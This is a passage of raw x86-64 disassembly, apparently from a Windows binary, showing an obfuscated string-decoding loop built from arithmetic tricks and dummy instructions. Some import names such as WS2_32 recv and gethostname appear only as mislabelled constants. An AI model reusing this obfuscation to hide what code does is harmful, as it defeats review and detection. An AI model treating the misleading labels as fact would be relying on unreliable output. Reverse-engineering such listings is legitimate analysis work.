add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006d282
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14006da04
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
inc r9
dec rbx
inc rbx
jmp 0x14006d282
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14006d77d
lea edx, [r10 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14006dccd
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14006da45
lea edx, [r10 - 0x4c]
movzx eax, r11b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x14006dcdc
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14006da70
sub r10b, 0x1c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x3c
dec rbx
inc rbx
jmp 0x14006d282
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14006daab
add r10b, 0x14
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006d282
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14006dae3
sub r10b, 0x54
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006d282
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14006db06
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add dl, cl
jmp 0x14006ddba
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14006d738
sub r10b, 0x24
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 4
jmp 0x14006dde6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14006db66
sub r10b, 0x10
movzx eax, r11b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rbp + rbx - 0x28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14006d282
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14006db8c
lea edx, [r10 + 0x20]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x14006ddbd
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14006dbc0
sub r10b, 0x48
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 8
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006d282
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14006dbe5
lea edx, [r10 - 0x18]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x58
add dl, cl
jmp 0x14006dd41
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14006d6fd
lea edx, [r10 - 0x50]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x14006dcdc
lea edx, [r10 - 0x20]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x20
add dl, cl
add dl, r11b
jmp 0x14006dd41
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [rcx - 0x48]
jmp 0x14006ddbd
sub r10b, 0x6c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0xc
movzx eax, byte [rbp + rbx - 0x28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14006d282
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add dl, cl
jmp 0x14006ddba
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x44
jmp 0x14006dd41
add r10b, 4
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1c
dec rbx
inc rbx
jmp 0x14006d282
lea edx, [r10 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
sub r10b, 0x6c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0xc
add r10b, r11b
mov byte [rbp + rbx - 0x28], r10b
inc r9
dec rbx
inc rbx
jmp 0x14006d282
lea ecx, [rbx + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x54
inc r9
dec rbx
inc rbx
jmp 0x14006d282
movzx r10d, bl
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 4
add r10b, 0x2c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x34
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx - 0x28], r11b
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006d282
lea rax, [rbx + r14]
and dil, al
mov ecx, Ordinal_41
sub cl, dil
lea edx, [rcx + rcx]
add dl, al
add dl, r11b
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006d282
lea rax, [rbx + r13]
and dil, al
mov ecx, Ordinal_60
sub cl, dil
lea edx, [rcx + rcx]
add dl, al
movzx r10d, bl
add dl, r11b
sub r10b, 0x3c
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x5c
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx - 0x28], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x10]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x70
add r11b, cl
mov byte [rbp + rbx - 0x28], r11b
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx - 0x28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14006d282
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
sub dl, 0x3c
movzx eax, byte [rbp + rbx - 0x28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14006d282
add r10b, 0x7c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x64
jmp 0x14006d280
sub r10b, 0x1c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x3c
jmp 0x14006d270
lea rbx, [rbp + 0x17236e8]
jmp 0x14006de94
lea rbx, [rbp + 0xd63a34]
jmp 0x14006de94
lea rbx, [rbp - 0x28]
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x3e0]
call fcn.140002dc0
nop
inc r12
cmp byte [rbx + r12], 0
jne 0x14006dea6
mov r8, r12
mov rdx, rbx
lea rcx, [rbp + 0x3e0]
call fcn.140004830
nop
lea rdx, [rbp + 0x3c0]
mov rcx, qword [0x1402cdcc0]
call fcn.1400ea0c0
nop
mov r9, qword [rbp + 0x3d0]
lea r8, [r9 - 4]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x88]
call fcn.1400046e0
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x88]
call fcn.1400511e0
movzx ebx, al
lea rcx, [rbp + 0x88]
call fcn.140002a20
test bl, bl
jne 0x14006df38
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x3c0]
call fcn.1400034c0
lea rdx, [rbp + 0x3c0]
lea rcx, [0x1402c7700]
call fcn.1400045e0
nop
lea rcx, [rbp + 0x3c0]
call fcn.140002a20
nop
lea rcx, [rbp + 0x3e0]
call fcn.140002a20
mov rcx, qword [rbp + 0x400]
xor rcx, rsp
call fcn.140212e90
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret